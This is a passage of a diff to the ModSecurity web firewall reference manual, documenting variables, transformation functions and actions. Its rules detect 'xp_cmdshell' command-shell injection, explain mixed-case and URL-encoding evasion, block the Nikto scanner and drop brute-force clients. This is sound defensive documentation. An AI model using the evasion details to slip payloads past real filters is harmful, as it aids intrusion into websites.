<literal moreinfo="none">TIME_EPOCH</literal> - This variable holds the time in seconds since 1970. Example: + + This variable holds the time in seconds since 1970. + Example: + SecRule TIME_EPOCH "@gt 1000"
+
<literal moreinfo="none">TIME_HOUR</literal> - This variable holds the current hour (0-23). Example: this rule would trigger during - "off hours". + + This variable holds the current hour (0-23). Example: this rule + would trigger during "off hours". + SecRule TIME_HOUR "^(0|1|2|3|4|5|6|[1](8|9)|[2](0|1|2|3))$"
+
<literal moreinfo="none">TIME_MIN</literal> - This variable holds the current minute (0-59). Example: this rule would trigger during - the last half hour of every hour. + + This variable holds the current minute (0-59). Example: this rule + would trigger during the last half hour of every hour. + SecRule TIME_MIN "^(3|4|5)"
+
<literal moreinfo="none">TIME_MON</literal> - This variable holds the current month (0-11). Example: this rule would match if the - month was either November (10) or December (11). + + This variable holds the current month (0-11). Example: this rule + would match if the month was either November (10) or December + (11). + SecRule TIME_MON "^1"
+
<literal moreinfo="none">TIME_SEC</literal> - This variable holds the current second count (0-59). Example: + + This variable holds the current second count (0-59). + Example: + SecRule TIME_SEC "@gt 30"
+
<literal moreinfo="none">TIME_WDAY</literal> - This variable holds the current weekday (0-6). Example: this rule would trigger only on - week-ends (Saturday and Sunday). + + This variable holds the current weekday (0-6). Example: this rule + would trigger only on week-ends (Saturday and Sunday). + SecRule TIME_WDAY "^(0|6)$"
+
<literal moreinfo="none">TIME_YEAR</literal> - This variable holds the current four-digit year data. Example: + + This variable holds the current four-digit year data. + Example: + SecRule TIME_YEAR "^2006$"
+
<literal moreinfo="none">TX</literal> - Transaction Collection. This is used to store pieces of data, create a transaction - anomaly score, and so on. Transaction variables are set for 1 request/response cycle. The - scoring and evaluation will not last past the current request/response process. Example: In - this example, we are using setvar to increase the tx.score value by 5 points. We then have a - follow-up run that will evaluate the transactional score this request and then it will - decided whether or not to allow/deny the request through. - The following is a list of reserved names in the TX collection: + + Transaction Collection. This is used to store pieces of data, + create a transaction anomaly score, and so on. Transaction variables are + set for 1 request/response cycle. The scoring and evaluation will not + last past the current request/response process. Example: In this + example, we are using setvar to increase the tx.score value by 5 points. + We then have a follow-up run that will evaluate the transactional score + this request and then it will decided whether or not to allow/deny the + request through. + + The following is a list of reserved names in the TX + collection: + - TX:0 - The matching value when using the @rx or @pm operator with - the capture action. + TX:0 - The matching value + when using the @rx or @pm operator with the capture action. + - TX:1-TX:9 - The captured subexpression value when - using the @rx operator with capturing parens and the - capture action. + TX:1-TX:9 - The captured + subexpression value when using the @rx operator with capturing parens and the + capture action. + SecRule WEBSERVER_ERROR_LOG "does not exist" "phase:5,pass,setvar:tx.score=+5" SecRule TX:SCORE "@gt 20" deny,log
+
<literal moreinfo="none">USERID</literal> - This variable is the value set with setuid. - Example: + + This variable is the value set with setuid. Example: + SecAction setuid:%{REMOTE_USER},nolog SecRule USERID "Admin"
+
<literal moreinfo="none">WEBAPPID</literal> - This variable is the value set with SecWebAppId. - Example: + + This variable is the value set with SecWebAppId. Example: + SecWebAppId "WebApp1" SecRule WEBAPPID "WebApp1" "chain,log,deny,status:403" SecRule REQUEST_HEADERS:Transfer-Encoding "!^$"
+
<literal moreinfo="none">WEBSERVER_ERROR_LOG</literal> - Contains zero or more error messages produced by the web server. Access to this variable - is in phase:5 (logging). Example: + + Contains zero or more error messages produced by the web server. + Access to this variable is in phase:5 (logging). Example: + SecRule WEBSERVER_ERROR_LOG "File does not exist" "phase:5,setvar:tx.score=+5"
+
<literal moreinfo="none">XML</literal> - Can be used standalone (as a target for validateDTD and validateSchema) or with an XPath expression parameter (which makes it a valid - target for any function that accepts plain text). Example using XPath: + + Can be used standalone (as a target for + validateDTD and validateSchema) or + with an XPath expression parameter (which makes it a valid target for + any function that accepts plain text). Example using XPath: + SecDefaultAction log,deny,status:403,phase:2 SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML @@ -2469,8 +3750,10 @@ SecRule REQBODY_PROCESSOR "!^XML$" skipAfter:12345 SecRule XML:/employees/employee/name/text() Fred SecRule XML:/xq:employees/employee/name/text() Fred \ id:12345,xmlns:xq=http://www.example.com/employees - The first XPath expression does not use namespaces. It would match against payload such - as this one: + + The first XPath expression does not use namespaces. It would match + against payload such as this one: + <employees> <employee> <name>Fred Jones</name> @@ -2491,8 +3774,10 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ <phone location="mobile">(206)555-4321</phone> </employee> </employees> - The second XPath expression does use namespaces. It would match the following - payload: + + The second XPath expression does use namespaces. It would match + the following payload: + <xq:employees xmlns:xq="http://www.example.com/employees"> <employee> <name>Fred Jones</name> @@ -2513,361 +3798,525 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ <phone location="mobile">(206)555-4321</phone> </employee> </xq:employees> + Note the different namespace used in the second example. - To learn more about XPath we suggest the following resources: + + To learn more about XPath we suggest the following + resources: + - XPath Standard + XPath + Standard + - XPath - Tutorial + XPath + Tutorial
+
Transformation functions - When ModSecurity receives request or response information, it makes a copy of this data - and places it into memory. It is on this data in memory that transformation functions are - applied. The raw request/response data is never altered. Transformation functions are used to - transform a variable before testing it in a rule. + + When ModSecurity receives request or response information, it makes + a copy of this data and places it into memory. It is on this data in + memory that transformation functions are applied. The raw request/response + data is never altered. Transformation functions are used to transform a + variable before testing it in a rule. + Note - There are no default transformation functions as there were in previous versions of - ModSecurity. - The following rule will ensure that an attacker does not use mixed case in order to evade - the ModSecurity rule: + + There are no default transformation functions as there were in + previous versions of ModSecurity. + + The following rule will ensure that an attacker does not use mixed + case in order to evade the ModSecurity rule: + SecRule ARG:p "xp_cmdshell" "t:lowercase" - multiple transformation actions can be used in the same rule, for example the following rule - also ensures that an attacker does not use URL encoding (%xx encoding) for evasion. Note the - order of the transformation functions, which ensures that a URL encoded letter is first - decoded and than translated to lower case. - - SecRule ARG:p "xp_cmdshell" "t:urlDecode,t:lowercase" - - One can use the SecDefaultAction command to ensure the translation occurs for every rule - until the next. Note that transformation actions are additive, so if a rule explicitly list - actions, the translation actions set by SecDefaultAction are still performed. - - SecDefaultAction t:urlDecode,t:lowercase - + multiple transformation actions can be used in the same rule, for example + the following rule also ensures that an attacker does not use URL encoding + (%xx encoding) for evasion. Note the order of the transformation + functions, which ensures that a URL encoded letter is first decoded and + than translated to lower case. + + SecRule ARG:p "xp_cmdshell" "t:urlDecode,t:lowercase" + + One can use the SecDefaultAction command to ensure the translation + occurs for every rule until the next. Note that transformation actions are + additive, so if a rule explicitly list actions, the translation actions + set by SecDefaultAction are still performed. + + SecDefaultAction t:urlDecode,t:lowercase + The following transformation functions are supported: +
<literal>base64Decode</literal> + This function decodes a base64-encoded string.
+
<literal>base64Encode</literal> + This function encodes input string using base64 encoding.
+
<literal>compressWhitespace</literal> - It converts whitespace characters (32, \f, \t, \n, \r, \v, 160) to spaces (ASCII 32) and - then compresses multiple consecutive space characters into one. + + It converts whitespace characters (32, \f, \t, \n, \r, \v, 160) to + spaces (ASCII 32) and then compresses multiple consecutive space + characters into one.
+
cssDecode + Decodes CSS-encoded characters, as specified at http://www.w3.org/TR/REC-CSS2/syndata.html. This function uses only up to two - bytes in the decoding process, meaning it is useful to uncover ASCII characters (that - wouldn't normally be encoded) encoded using CSS encoding, or to counter evasion which is a - combination of a backslash and non-hexadecimal characters (e.g. ja\vascript is equivalent to javascript). + url="http://www.w3.org/TR/REC-CSS2/syndata.html">http://www.w3.org/TR/REC-CSS2/syndata.html. + This function uses only up to two bytes in the decoding process, meaning + it is useful to uncover ASCII characters (that wouldn't normally be + encoded) encoded using CSS encoding, or to counter evasion which is a + combination of a backslash and non-hexadecimal characters (e.g. + ja\vascript is equivalent to + javascript).
+
<literal>escapeSeqDecode</literal> - This function decode ANSI C escape sequences: - \a, \b, \f, \n, \r, - \t, \v, \\, \?, \', \", \xHH (hexadecimal), \0OOO - (octal). Invalid encodings are left in the output. + + This function decode ANSI C escape sequences: \a, \b, + \f, \n, \r, + \t, \v, \\, + \?, \', \", + \xHH (hexadecimal), \0OOO (octal). Invalid encodings are left in + the output.
+
<literal>hexDecode</literal> + This function decodes a hex-encoded string.
+
<literal>hexEncode</literal> + This function encodes input as hex-encoded string.
+
<literal>htmlEntityDecode</literal> - This function decodes HTML entities present in input. The following variants are - supported: + + This function decodes HTML entities present in input. The + following variants are supported: + - &#xHH and &#xHH; (where H is any hexadecimal number) + &#xHH and &#xHH; (where H is any hexadecimal + number) + - &#DDD and &#DDD; (where D is any decimal number) + &#DDD and &#DDD; (where D is any decimal + number) + - &quot and &quot; + &quot and &quot; + - &nbsp and &nbsp; + &nbsp and &nbsp; + - &lt and &lt; + &lt and &lt; + - &gt and &gt; + &gt and &gt; - This function will convert any entity into a single byte only, possibly resulting in a - loss of information. It is thus useful to uncover bytes that would otherwise not need to be - encoded, but it cannot do anything with the characters from the range above 255. + + This function will convert any entity into a single byte only, + possibly resulting in a loss of information. It is thus useful to + uncover bytes that would otherwise not need to be encoded, but it cannot + do anything with the characters from the range above 255.
+
<literal>jsDecode</literal> - Decodes JavaScript escape sequences. If a \uHHHH code is in the range - of FF01-FF5E (the full width ASCII codes), then the - higher byte is used to detect and adjust the lower byte. Otherwise, only the lower byte will - be used and the higher byte zeroed. + + Decodes JavaScript escape sequences. If a + \uHHHH code is in the range of + FF01-FF5E (the full width ASCII + codes), then the higher byte is used to detect and adjust the lower + byte. Otherwise, only the lower byte will be used and the higher byte + zeroed.
+
<literal>length</literal> - This function converts the input to its numeric length (count of bytes). + + This function converts the input to its numeric length (count of + bytes).
+
<literal>lowercase</literal> - This function converts all characters to lowercase using the current C locale. + + This function converts all characters to lowercase using the + current C locale.
+
<literal>md5</literal> - This function calculates an MD5 hash from input. Note that the computed hash is in a raw - binary form and may need encoded into text to be usable (for example: t:md5,t:hexEncode). + + This function calculates an MD5 hash from input. Note that the + computed hash is in a raw binary form and may need encoded into text to + be usable (for example: t:md5,t:hexEncode).
+
<literal><literal>none</literal></literal> - Not an actual transformation function, but an instruction to ModSecurity to remove all - transformation functions associated with the current rule. + + Not an actual transformation function, but an instruction to + ModSecurity to remove all transformation functions associated with the + current rule.
+
<literal>normalisePath</literal> - This function will remove multiple slashes, self-references and directory - back-references (except when they are at the beginning of the input). + + This function will remove multiple slashes, self-references and + directory back-references (except when they are at the beginning of the + input).
+
<literal>normalisePathWin</literal> - Same as normalisePath, but will first convert backslash characters to - forward slashes. + + Same as normalisePath, but will first convert + backslash characters to forward slashes.
+
<literal>parityEven7bit</literal> - This function calculates even parity of 7-bit data replacing the 8th bit of each target - byte with the calculated parity bit. + + This function calculates even parity of 7-bit data replacing the + 8th bit of each target byte with the calculated parity bit.
+
<literal>parityOdd7bit</literal> - This function calculates odd parity of 7-bit data replacing the 8th bit of each target - byte with the calculated parity bit. + + This function calculates odd parity of 7-bit data replacing the + 8th bit of each target byte with the calculated parity bit.
+
<literal>parityZero7bit</literal> - This function calculates zero parity of 7-bit data replacing the 8th bit of each target - byte with a zero parity bit which allows inspection of even/odd parity 7bit data as ASCII7 - data. + + This function calculates zero parity of 7-bit data replacing the + 8th bit of each target byte with a zero parity bit which allows + inspection of even/odd parity 7bit data as ASCII7 data.
+
<literal>removeNulls</literal> + This function removes NULL bytes from input.
+
<literal>removeWhitespace</literal> + This function removes all whitespace characters from input.
+
<literal>replaceComments</literal> - This function replaces each occurrence of a C-style comments (/* ... */) with a single space (multiple consecutive occurrences of a space - will not be compressed). Unterminated comments will too be replaced with a space (ASCII 32). - However, a standalone termination of a comment (*/) will - not be acted upon. + + This function replaces each occurrence of a C-style comments + (/* ... */) with a single space + (multiple consecutive occurrences of a space will not be compressed). + Unterminated comments will too be replaced with a space (ASCII 32). + However, a standalone termination of a comment (*/) will not be acted upon.
+
<literal>replaceNulls</literal> - This function is enabled by default. It replaces NULL bytes in input with spaces (ASCII - 32). + + This function is enabled by default. It replaces NULL bytes in + input with spaces (ASCII 32).
+
<literal>urlDecode</literal> - This function decodes an URL-encoded input string. Invalid encodings (i.e. the ones that - use non-hexadecimal characters, or the ones that are at the end of string and have one or - two characters missing) will not be converted. If you want to detect invalid encodings use - the @validateUrlEncoding operator. The transformation - function should not be used against variables that have already been URL-decoded unless it - is your intention to perform URL decoding twice! + + This function decodes an URL-encoded input string. Invalid + encodings (i.e. the ones that use non-hexadecimal characters, or the + ones that are at the end of string and have one or two characters + missing) will not be converted. If you want to detect invalid encodings + use the @validateUrlEncoding + operator. The transformation function should not be used against + variables that have already been URL-decoded unless it is your intention + to perform URL decoding twice!
+
<literal>urlDecodeUni</literal> - In addition to decoding %xx like urlDecode, - urlDecodeUni also decodes %uXXXX encoding. If - the code is in the range of FF01-FF5E (the full width - ASCII codes), then the higher byte is used to detect and adjust the lower byte. Otherwise, - only the lower byte will be used and the higher byte zeroed. + + In addition to decoding %xx like urlDecode, urlDecodeUni also decodes %uXXXX encoding. If the code is in the range + of FF01-FF5E (the full width ASCII + codes), then the higher byte is used to detect and adjust the lower + byte. Otherwise, only the lower byte will be used and the higher byte + zeroed.
+
<literal>urlEncode</literal> + This function encodes input using URL encoding.
+
<literal>sha1</literal> - This function calculates a SHA1 hash from input. Note that the computed hash is in a raw - binary form and may need encoded to be usable (for example: t:sha1,t:hexEncode). + + This function calculates a SHA1 hash from input. Note that the + computed hash is in a raw binary form and may need encoded to be usable + (for example: t:sha1,t:hexEncode).
+
<literal>trimLeft</literal> - This function removes whitespace from the left side of input. + + This function removes whitespace from the left side of + input.
+
<literal>trimRight</literal> - This function removes whitespace from the right side of input. + + This function removes whitespace from the right side of + input.
+
<literal>trim</literal> - This function removes whitespace from both the left and right sides of input. + + This function removes whitespace from both the left and right + sides of input.
+
Actions + Each action belongs to one of five groups: + Disruptive actions + - Cause ModSecurity to do something. In many cases something means block transaction, - but not in all. For example, the allow action is classified as a disruptive action, but - it does the opposite of blocking. There can only be one disruptive action per rule (if - there are multiple disruptive actions present, or inherited, only the last one will take - effect), or rule chain (in a chain, a disruptive action can only appear in the first - rule). + Cause ModSecurity to do something. In many cases something + means block transaction, but not in all. For example, the allow + action is classified as a disruptive action, but it does the + opposite of blocking. There can only be one disruptive action per + rule (if there are multiple disruptive actions present, or + inherited, only the last one will take effect), or rule chain (in a + chain, a disruptive action can only appear in the first + rule). + Non-disruptive actions + - Do something, but that something does not and cannot affect the rule processing - flow. Setting a variable, or changing its value is an example of a non-disruptive - action. Non-disruptive action can appear in any rule, including each rule belonging to a - chain. + Do something, but that something does not and cannot affect + the rule processing flow. Setting a variable, or changing its value + is an example of a non-disruptive action. Non-disruptive action can + appear in any rule, including each rule belonging to a chain. + Flow actions + - These actions affect the rule flow (for example skip or skipAfter). + These actions affect the rule flow (for example + skip or skipAfter). + Meta-data actions + - Meta-data actions are used to provide more information about rules. Examples include - id, rev, severity and - msg. + Meta-data actions are used to provide more information about + rules. Examples include id, + rev, severity and + msg. + Data actions + - Not really actions, these are mere containers that hold data used by other actions. - For example, the status action holds the status that will be used for - blocking (if it takes place). + Not really actions, these are mere containers that hold data + used by other actions. For example, the status + action holds the status that will be used for blocking (if it takes + place). +
<literal>allow</literal> - Description: Stops rule processing on a successful match and allows - the transaction to proceed. + + Description: Stops rule processing on a + successful match and allows the transaction to proceed. + Action Group: Disruptive + Example: + SecRule REMOTE_ADDR "^192\.168\.1\.100$" nolog,phase:1,allow - Prior to ModSecurity 2.5 the allow action would only affect the - current phase. An allow in phase 1 would skip processing the remaining - rules in phase 1 but the rules from phase 2 would execute. Starting with v2.5.0 allow was enhanced to allow for fine-grained control of what is done. The - following rules now apply: + + Prior to ModSecurity 2.5 the allow action would + only affect the current phase. An allow in phase 1 + would skip processing the remaining rules in phase 1 but the rules from + phase 2 would execute. Starting with v2.5.0 allow was + enhanced to allow for fine-grained control of what is done. The + following rules now apply: + - If used one its own, like in the example above, allow will affect - the entire transaction, stopping processing of the current phase but also skipping over - all other phases apart from the logging phase. (The logging phase is special; it is - designed to always execute.) + If used one its own, like in the example above, + allow will affect the entire transaction, + stopping processing of the current phase but also skipping over all + other phases apart from the logging phase. (The logging phase is + special; it is designed to always execute.) + - If used with parameter "phase", allow will cause the engine to - stop processing the current phase. Other phases will continue as normal. + If used with parameter "phase", allow will + cause the engine to stop processing the current phase. Other phases + will continue as normal. + - If used with parameter "request", allow will cause the engine to - stop processing the current phase. The next phase to be processed will be phase RESPONSE_HEADERS. + If used with parameter "request", allow + will cause the engine to stop processing the current phase. The next + phase to be processed will be phase + RESPONSE_HEADERS. + Examples: + # Do not process request but process response. SecAction phase:1,allow:request # Do not process transaction (request and response). SecAction phase:1,allow - If you want to allow a response through, put a rule in phase RESPONSE_HEADERS and simply use allow on its own: + + If you want to allow a response through, put a rule in phase + RESPONSE_HEADERS and simply use + allow on its own: + # Allow response through. SecAction phase:3,allow
+
append - Description: Appends text given as parameter to the end of response - body. For this action to work content injection must be enabled by setting SecContentInjection to On. Also make sure you check the - content type of the response before you make changes to it (e.g. you don't want to inject - stuff into images). + + Description: Appends text given as parameter + to the end of response body. For this action to work content injection + must be enabled by setting SecContentInjection to + On. Also make sure you check the content type of the + response before you make changes to it (e.g. you don't want to inject + stuff into images). + Action Group: Non-disruptive + Processing Phases: 3 and 4. + Example: + SecRule RESPONSE_CONTENT_TYPE "^text/html" "nolog,pass,append:'<hr>Footer'"
+
<literal>auditlog</literal> - Description: Marks the transaction for logging in the audit - log. + + Description: Marks the transaction for + logging in the audit log. + Action Group: Non-disruptive + Example: + SecRule REMOTE_ADDR "^192\.168\.1\.100$" auditlog,phase:1,allow + Note - The auditlog action is now explicit if log is already specified. + + The auditlog action is now explicit if log is already + specified.
+
<literal>block</literal> - Description: Performs the default disruptive action. + + Description: Performs the default disruptive + action. + Action Group: Disruptive - It is intended to be used by ruleset writers to signify that the rule was intended to - block and leaves the "how" up to the administrator. This action is currently a placeholder - which will just be replaced by the action from the last SecDefaultAction - in the same context. Using the block action with the SecRuleUpdateActionById directive allows a rule to be reverted back to the - previous SecDefaultAction disruptive action. - In future versions of ModSecurity, more control and functionality will be added to - define "how" to block. + + It is intended to be used by ruleset writers to signify that the + rule was intended to block and leaves the "how" up to the administrator. + This action is currently a placeholder which will just be replaced by + the action from the last SecDefaultAction in the same + context. Using the block action with the + SecRuleUpdateActionById directive allows a rule to be + reverted back to the previous SecDefaultAction + disruptive action. + + In future versions of ModSecurity, more control and functionality + will be added to define "how" to block. + Examples: - In the following example, the second rule will "deny" because of the SecDefaultAction - disruptive action. The intent being that the administrator could easily change this to - another disruptive action without editing the actual rules. + + In the following example, the second rule will "deny" because of + the SecDefaultAction disruptive action. The intent being that the + administrator could easily change this to another disruptive action + without editing the actual rules. + ### Administrator defines "how" to block (deny,status:403)... SecDefaultAction phase:2,deny,status:403,log,auditlog @@ -2876,11 +4325,14 @@ SecDefaultAction phase:2,deny,status:403,log,auditlog SecRule REQUEST_HEADERS:User-Agent "perl" "phase:2,pass,msg:'Perl based user agent identified'" # Intent is to block for this User Agent, "how" described in SecDefaultAction SecRule REQUEST_HEADERS:User-Agent "nikto" "phase:2,block,msg:'Nikto Scanners Identified'" - In the following example, The rule is reverted back to the pass - action defined in the SecDefaultAction directive by using the SecRuleUpdateActionById directive in conjuction with the block action. This allows an administrator to override an action in a 3rd party - rule without modifying the rule itself. + + In the following example, The rule is reverted back to the + pass action defined in the SecDefaultAction directive + by using the SecRuleUpdateActionById directive in + conjuction with the block action. This allows an + administrator to override an action in a 3rd party rule without + modifying the rule itself. + ### Administrator defines "how" to block (deny,status:403)... SecDefaultAction phase:2,pass,log,auditlog @@ -2890,158 +4342,238 @@ SecRule REQUEST_HEADERS:User-Agent "nikto" "id:1,phase:2,denyblock"
+
<literal>capture</literal> - Description: When used together with the regular expression - operator, capture action will create copies of regular expression captures and place them - into the transaction variable collection. Up to ten captures will be copied on a successful - pattern match, each with a name consisting of a digit from 0 to 9. + + Description: When used together with the + regular expression operator, capture action will create copies of + regular expression captures and place them into the transaction variable + collection. Up to ten captures will be copied on a successful pattern + match, each with a name consisting of a digit from 0 to 9. + Action Group: Non-disruptive + Example: + SecRule REQUEST_BODY "^username=(\w{25,})" phase:2,capture,t:none,chain SecRule TX:1 "(?:(?:a(dmin|nonymous)))" + Note - The 0 data captures the entire REGEX match and 1 captures the data in the first parens, - etc... + + The 0 data captures the entire REGEX match and 1 captures the data + in the first parens, etc...
+
<literal>chain</literal> - Description: Chains the rule where the action is placed with the - rule that immediately follows it. The result is called a rule chain. - Chained rules allow for more complex rule matches where you want to use a number of - different VARIABLES to create a better rule and to help prevent false positives. + + Description: Chains the rule where the action + is placed with the rule that immediately follows it. The result is + called a rule chain. Chained rules allow for more + complex rule matches where you want to use a number of different + VARIABLES to create a better rule and to help prevent false + positives. + Action Group: Flow + Example: + # Refuse to accept POST requests that do # not specify request body length. Do note that # this rule should be preceeded by a rule that verifies # only valid request methods (e.g. GET, HEAD and POST) are used. SecRule REQUEST_METHOD ^POST$ chain,t:none SecRule REQUEST_HEADER:Content-Length ^$ t:none + - In programming language concepts, think of chained rules somewhat similar to AND - conditional statements. The actions specified in the first portion of the chained rule - will only be triggered if all of the variable checks return positive hits. If one aspect - of the chained rule is negative, then the entire rule chain is negative. Also note that - disruptive actions, execution phases, metadata actions (id, rev, msg), skip and skipAfter - actions can only be specified on by the chain starter rule. + In programming language concepts, think of chained rules + somewhat similar to AND conditional statements. The actions specified + in the first portion of the chained rule will only be triggered if all + of the variable checks return positive hits. If one aspect of the + chained rule is negative, then the entire rule chain is negative. Also + note that disruptive actions, execution phases, metadata actions (id, + rev, msg), skip and skipAfter actions can only be specified on by the + chain starter rule.
+
<literal>ctl</literal> - Description: The ctl action allows configuration options to be - updated for the transaction. + + Description: The ctl action allows + configuration options to be updated for the transaction. + Action Group: Non-disruptive + Example: + # Parse requests with Content-Type "text/xml" as XML SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProcessor=XML + Note + The following configuration options are supported: + auditEngine + auditLogParts + debugLogLevel + - ruleRemoveById (single rule ID, or a single rule - ID range accepted as parameter) + ruleRemoveById (single rule + ID, or a single rule ID range accepted as parameter) + requestBodyAccess + - forceRequestBodyVariable + forceRequestBodyVariable + requestBodyLimit + requestBodyProcessor + responseBodyAccess + responseBodyLimit + ruleEngine - With the exception of requestBodyProcessor and - forceRequestBodyVariable, each configuration option - corresponds to one configuration directive and the usage is identical. - The requestBodyProcessor option allows you to configure the request - body processor. By default ModSecurity will use the URLENCODED and MULTIPART processors to - process an application/x-www-form-urlencoded and a - multipart/form-data bodies, respectively. A third - processor, XML, is also supported, but it is never used implicitly. - Instead you must tell ModSecurity to use it by placing a few rules in the REQUEST_HEADERS processing phase. After the request body was - processed as XML you will be able to use the XML-related features to inspect it. - Request body processors will not interrupt a transaction if an error occurs during - parsing. Instead they will set variables - REQBODY_PROCESSOR_ERROR and - REQBODY_PROCESSOR_ERROR_MSG. These variables should be inspected in the REQUEST_BODY phase and an appropriate action taken. - The forceRequestBodyVariable option allows you to configure the - REQUEST_BODY variable to be set when there is no request body processor - configured. This allows for inspection of request bodies of unknown types. + + With the exception of + requestBodyProcessor and + forceRequestBodyVariable, each configuration option + corresponds to one configuration directive and the usage is + identical. + + The requestBodyProcessor option allows you to + configure the request body processor. By default ModSecurity will use + the URLENCODED and MULTIPART processors to process an application/x-www-form-urlencoded and a + multipart/form-data bodies, + respectively. A third processor, XML, is also + supported, but it is never used implicitly. Instead you must tell + ModSecurity to use it by placing a few rules in the REQUEST_HEADERS processing phase. After the + request body was processed as XML you will be able to use the + XML-related features to inspect it. + + Request body processors will not interrupt a transaction if an + error occurs during parsing. Instead they will set variables REQBODY_PROCESSOR_ERROR and REQBODY_PROCESSOR_ERROR_MSG. These variables + should be inspected in the REQUEST_BODY phase and an appropriate action + taken. + + The forceRequestBodyVariable option allows you + to configure the REQUEST_BODY variable to be set when + there is no request body processor configured. This allows for + inspection of request bodies of unknown types.
+
<literal>deny</literal> - Description: Stops rule processing and intercepts - transaction. + + Description: Stops rule processing and + intercepts transaction. + Action Group: Disruptive + Example: + SecRule REQUEST_HEADERS:User-Agent "nikto" "log,deny,msg:'Nikto Scanners Identified'"
+
<literal>deprecatevar</literal> - Description: Decrement counter based on its age. + + Description: Decrement counter based on its + age. + Action Group: Non-Disruptive - Example: The following example will decrement the counter by 60 every 300 - seconds. + + Example: The following example will decrement the counter by 60 + every 300 seconds. + SecAction deprecatevar:session.score=60/300 + Note - Counter values are always positive, meaning the value will never go below zero. + + Counter values are always positive, meaning the value will never + go below zero.
+
<literal>drop</literal> - Description: Immediately initiate a "connection close" action to - tear down the TCP connection by sending a FIN packet. + + Description: Immediately initiate a + "connection close" action to tear down the TCP connection by sending a + FIN packet. + Action Group: Disruptive - Example: The following example initiates an IP collection for tracking Basic - Authentication attempts. If the client goes over the threshold of more than 25 attempts in 2 - minutes, it will DROP subsequent connections. + + Example: The following example initiates an IP collection for + tracking Basic Authentication attempts. If the client goes over the + threshold of more than 25 attempts in 2 minutes, it will DROP subsequent + connections. + SecAction initcol:ip=%{REMOTE_ADDR},nolog SecRule ARGS:login "!^$" \ nolog,phase:1,setvar:ip.auth_attempt=+1,deprecatevar:ip.auth_attempt=20/120 SecRule IP:AUTH_ATTEMPT "@gt 25" \ log,drop,phase:1,msg:'Possible Brute Force Attack" + Note - This action is currently not available on Windows based builds. This action is extremely - useful when responding to both Brute Force and Denial of Service attacks in that, in both - cases, you want to minimize both the network bandwidth and the data returned to the client. - This action causes error message to appear in the log "(9)Bad file descriptor: - core_output_filter: writing data to the network" + + This action is currently not available on Windows based builds. + This action is extremely useful when responding to both Brute Force and + Denial of Service attacks in that, in both cases, you want to minimize + both the network bandwidth and the data returned to the client. This + action causes error message to appear in the log "(9)Bad file + descriptor: core_output_filter: writing data to the network"
+
<literal>exec</literal> - Description: Executes an external script/binary supplied as - parameter. As of v2.5.0, if the parameter supplied to exec is a Lua - script (detected by the .lua extension) the script will be processed - internally. This means you will get direct access to the internal - request context from the script. Please read the SecRuleScript - documentation for more details on how to write Lua scripts. + + Description: Executes an external + script/binary supplied as parameter. As of v2.5.0, if the parameter + supplied to exec is a Lua script (detected by the + .lua extension) the script will be processed + internally. This means you will get direct access + to the internal request context from the script. Please read the + SecRuleScript documentation for more details on how + to write Lua scripts. + Action Group: Non-disruptive + Example: + # The following is going to execute /usr/local/apache/bin/test.sh # as a shell script on rule match. SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ @@ -3050,574 +4582,908 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ # The following is going to process /usr/local/apache/conf/exec.lua # internally as a Lua script on rule match. SecRule ARGS:p attack log,exec:/usr/local/apache/conf/exec.lua + - The exec action is executed independently from any disruptive actions. External - scripts will always be called with no parameters. Some transaction information will be - placed in environment variables. All the usual CGI environment variables will be there. - You should be aware that forking a threaded process results in all threads being - replicated in the new process. Forking can therefore incur larger overhead in - multi-threaded operation. The script you execute must write something (anything) to - stdout. If it doesn't ModSecurity will assume execution didn't work. + The exec action is executed independently from any disruptive + actions. External scripts will always be called with no parameters. + Some transaction information will be placed in environment variables. + All the usual CGI environment variables will be there. You should be + aware that forking a threaded process results in all threads being + replicated in the new process. Forking can therefore incur larger + overhead in multi-threaded operation. The script you execute must + write something (anything) to stdout. If it doesn't ModSecurity will + assume execution didn't work.
+
<literal>expirevar</literal> - Description: Configures a collection variable to expire after the - given time in seconds. + + Description: Configures a collection variable + to expire after the given time in seconds. + Action Group: Non-disruptive + Example: + SecRule REQUEST_COOKIES:JSESSIONID "!^$" nolog,phase:1,pass,chain SecAction setsid:%{REQUEST_COOKIES:JSESSIONID} SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ "phase:2,t:none,t:lowercase,t:normalisePath,log,allow,\ setvar:session.suspicious=1,expirevar:session.suspicious=3600,phase:1" + Note - You should use expirevar actions at the same time that you use setvar actions in order - to keep the indented expiration time. If they are used on their own (perhaps in a SecAction - directive) the expire time could get re-set. When variables are removed from collections, - and there are no other changes, collections are not written to disk at the end of request. - This is because the variables can always be expired again when the collection is read again - on a subsequent request. + + You should use expirevar actions at the same time that you use + setvar actions in order to keep the indented expiration time. If they + are used on their own (perhaps in a SecAction directive) the expire time + could get re-set. When variables are removed from collections, and there + are no other changes, collections are not written to disk at the end of + request. This is because the variables can always be expired again when + the collection is read again on a subsequent request.
+
<literal>id</literal> - Description: Assigns a unique ID to the rule or chain. + + Description: Assigns a unique ID to the rule + or chain. + Action Group: Meta-data + Example: + SecRule &REQUEST_HEADERS:Host "@eq 0" \ "log,id:60008,severity:2,msg:'Request Missing a Host Header'" + Note + These are the reserved ranges: + - 1-99,999; reserved for local (internal) use. Use as you see fit but do not use this - range for rules that are distributed to others. + 1-99,999; reserved for local (internal) use. Use as you see + fit but do not use this range for rules that are distributed to + others. + - 100,000-199,999; reserved for internal use of the engine, to assign to rules that do - not have explicit IDs. + 100,000-199,999; reserved for internal use of the engine, to + assign to rules that do not have explicit IDs. + - 200,000-299,999; reserved for rules published at modsecurity.org. + 200,000-299,999; reserved for rules published at + modsecurity.org. + - 300,000-399,999; reserved for rules published at gotroot.com. + 300,000-399,999; reserved for rules published at + gotroot.com. + 400,000-419,999; unused (available for reservation). + 420,000-429,999; reserved for ScallyWhack. + url="http://projects.otaku42.de/wiki/ScallyWhack">ScallyWhack. + 430,000-899,999; unused (available for reservation). + 900,000-999,999; reserved for the Core Rules project. + url="http://www.modsecurity.org/projects/rules/">Core Rules + project. + - 1,000,000 and above; unused (available for reservation). + 1,000,000 and above; unused (available for + reservation).
+
